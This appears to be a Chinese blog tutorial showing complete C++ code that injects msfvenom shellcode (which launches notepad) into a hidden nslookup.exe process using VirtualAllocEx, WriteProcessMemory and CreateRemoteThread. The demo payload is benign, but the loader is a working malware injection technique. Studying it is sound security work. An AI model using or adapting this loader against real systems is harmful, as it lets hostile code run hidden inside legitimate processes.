首页 > 系统相关 >windows下shellcode注入的例子(WriteProcessMemory+CreateRemoteThread)

windows下shellcode注入的例子(WriteProcessMemory+CreateRemoteThread)

时间:2023-07-28 17:35:12浏览次数:41  
标签:CreateRemoteThread x41 WriteProcessMemory windows xff x48 x8b x01 x00

vs里x64编译如下代码:

 

 

#include <iostream>
#include <Windows.h>
// #include "common.h"

int main()
{
	// msfvenom -p windows/x64/exec CMD=notepad.exe -f c
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
		"\x65\x70\x61\x64\x2e\x65\x78\x65\x00";

	// Create a 64-bit process: 
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	LPVOID allocation_start;
	SIZE_T allocation_size = sizeof(shellcode);
	LPCWSTR cmd;
	HANDLE hProcess, hThread;

	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&pi, sizeof(pi));
	si.cb = sizeof(si);
	cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");

	if (!CreateProcess(
		cmd,							// Executable
		NULL,							// Command line
		NULL,							// Process handle not inheritable
		NULL,							// Thread handle not inheritable
		FALSE,							// Set handle inheritance to FALSE
		CREATE_NO_WINDOW,	            // Do Not Open a Window
		NULL,							// Use parent's environment block
		NULL,							// Use parent's starting directory 
		&si,			                // Pointer to STARTUPINFO structure
		&pi								// Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
	)) {
		DWORD errval = GetLastError();
		std::cout << "FAILED" << errval << std::endl;
	}
	WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. 

	// Inject into the 64-bit process:
	// HIGH-LEVEL WINDOWS API:
	allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL);
	CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0);
}

  

成功后运行:

 

 

标签:CreateRemoteThread,x41,WriteProcessMemory,windows,xff,x48,x8b,x01,x00
From: https://www.cnblogs.com/bonelee/p/17588492.html

相关文章

  • Windows环境下安装及部署Nginx
    一、安装Nginx教程1、官网下载地址:https://nginx.org/en/download.html2、下载教程:选择Stable version版本下载到本地3、下载完成后,解压放入本地非中文的文件夹中:4、启动nginx:双击nginx.exe,若双击未弹出内容,则说明端口被占用,请参照第6步 或者使用命令行:输入start nginx......
  • C++实现Windows释放资源文件到本地
     C++实现释放资源文件到本地用途很多,可以实现动态释放DLL文件,需时加载./***\brief释放资源文件到本地*\paramlpName资源文件名称*\paramlpType资源文件分类*\paramlpFileName生成到本地的文件名称*\return*/BOOLReleaseResource(_In_LPCWSTRlp......
  • Windows OS 下通过VNC访问Linux OS(可视化界面)
    VNC介绍:VNC(VirtualNetworkConsole),即虚拟网络控制台,它是一款基于UNIX和Linux操作系统的优秀远程控制工具软件,由著名的AT&T的欧洲研究实验室开发,远程控制能力强大,高效实用,并且免费开源。VNC基本上是由两部分组成:一部分是客户端的应用程序(vncviewer);另外一部分是服务器......
  • 内网环境windows server 2012r2系统怎样手动安装cab更新补丁
    在内网部署了几台winserver2012r2服务器,由于是纯内网,要求和互联网物理隔离,内网的服务器更新补丁成了一个问题,在互联网上没有找到单独的集成补丁包,去微软官方手动下载再去更新费时费力,便想到使用以下方法进行。1、使用互联网台式机安装一台虚拟机,虚拟机要求和内网服务器使用相......
  • nginx for Windows
    配置nginx.confworker_processes1;events{worker_connections1024;}http{server{listen8092;server_namelocalhost;location/{rootD:/IdeaProjects/xcProjects/test/RuoYi-Vue/ruoyi-ui/dist;try_files$uri......
  • mysql8.0环境的搭建(Windows)
    1.MySQL的卸载因为之前可能安装过其他版本的mysql,所以在安装之前,需要将原先安装的进行卸载。1.1步骤1:停止MySQL服务在卸载之前,先停止MySQL8.0的服务。按键盘上的Ctrl+Alt+Delete组合键,打开任务管理器对话框,可以在服务列表找到MySQL8.0的服务,如果现在正在运行......
  • Windows PowerShell 使用SDKMAN
    前言sdkman(TheSoftwareDevelopmentKitManager),从名字上就可以很明显的感觉到,这个软件是干什么的,有点像Nodejs中的nvm工具。在开发过程中,总能遇到这样一种情况,就是有些时候要这个版本的,有些时候要使用其他版本的,这样就得不停的切换环境变量中的设置。使用sdkman即可......
  • Windows | Linux 查找环境变量二进制所在目录
    1.Windows使用where命令wherejava2.Linux使用which命令whichjava......
  • 设置ip和主机名映射:linux配置hosts文件 | windows配置hosts文件
    摘要目的:Windows下主机名和ip的映射关系linux设置主机名和ip的映射关系一、Windows设置主机名和ip映射修改文件C:\Windows\System32\drivers\etc\hosts,添加ip和主机名192.168.200.130CentOS192.168.10.100hadoop100192.168.10.101hadoop101192.168.10.102hadoop1......
  • 主机名解析过程:Hosts文件 | DNS | windows查看DNS缓存 | 隐患
    摘要目的:本文以linux虚拟机和Windows为例,来介绍一下主机名解析过程主机名解析不完全是靠DNS一、基本概念主机名:比如www.baidu.com、hadoop100等等1.Hosts文件hosts文件是一个文本文件,用来记录IP和Hostname(主机名)的映射关系在Windows和linux里面都有Windows:C:\Wi......